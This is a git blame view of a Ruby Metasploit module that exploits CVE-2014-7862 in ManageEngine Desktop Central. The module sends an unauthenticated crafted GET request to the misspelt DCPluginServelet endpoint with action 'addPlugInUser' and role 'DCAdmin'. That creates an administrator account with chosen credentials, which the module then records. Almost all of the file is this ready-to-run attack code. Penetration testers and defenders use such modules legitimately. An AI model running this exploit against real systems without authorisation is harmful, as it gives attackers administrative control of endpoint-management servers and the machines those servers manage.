Files
metasploit-gs/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

83 lines
3.0 KiB
Ruby
Raw Normal View History

2014-12-31 02:02:52 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-12-31 02:02:52 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2014-12-31 02:02:52 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
2023-02-08 14:30:08 +00:00
super(
update_info(
info,
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
'Description' => %q{
This module exploits an administrator account creation vulnerability in Desktop Central
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
several versions of Desktop Central (including MSP) from v7 onwards.
},
'Author' => [
2014-12-31 02:02:52 +00:00
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
2023-02-08 14:30:08 +00:00
'License' => MSF_LICENSE,
'References' => [
2015-01-04 23:08:46 -06:00
['CVE', '2014-7862'],
['OSVDB', '116554'],
2018-09-15 18:54:45 -05:00
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'],
2015-10-28 10:45:02 -05:00
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'],
2014-12-31 02:02:52 +00:00
],
2023-02-08 14:30:08 +00:00
'DisclosureDate' => '2014-12-31'
)
)
2014-12-31 02:02:52 +00:00
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8020]),
2023-02-08 14:30:08 +00:00
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
2014-12-31 02:02:52 +00:00
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
2023-02-08 14:30:08 +00:00
]
)
2014-12-31 02:02:52 +00:00
end
def run
# Generate password hash
salt = Time.now.to_i.to_s
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
res = send_request_cgi({
2023-02-08 14:30:08 +00:00
'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'),
'method' => 'GET',
2014-12-31 02:02:52 +00:00
'vars_get' => {
2023-02-08 14:30:08 +00:00
'action' => 'addPlugInUser',
'role' => 'DCAdmin',
'userName' => datastore['USERNAME'],
'email' => datastore['EMAIL'],
'phNumber' => Rex::Text.rand_text_numeric(6),
'password' => password_encoded,
'salt' => salt,
2014-12-31 02:02:52 +00:00
'createdtime' => salt
}
})
2024-01-08 10:51:35 +00:00
# Yes, "sucess" is really misspelt, as is "Servelet" ... !
2015-01-04 23:12:42 -06:00
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
2023-02-08 14:30:08 +00:00
print_error('Administrator account creation failed')
2014-12-31 02:02:52 +00:00
end
2015-01-04 23:12:42 -06:00
2016-02-01 16:06:34 -06:00
print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
connection_details = {
2023-02-08 14:30:08 +00:00
module_fullname: fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password,
workspace_id: myworkspace_id,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
2014-12-31 02:02:52 +00:00
end
end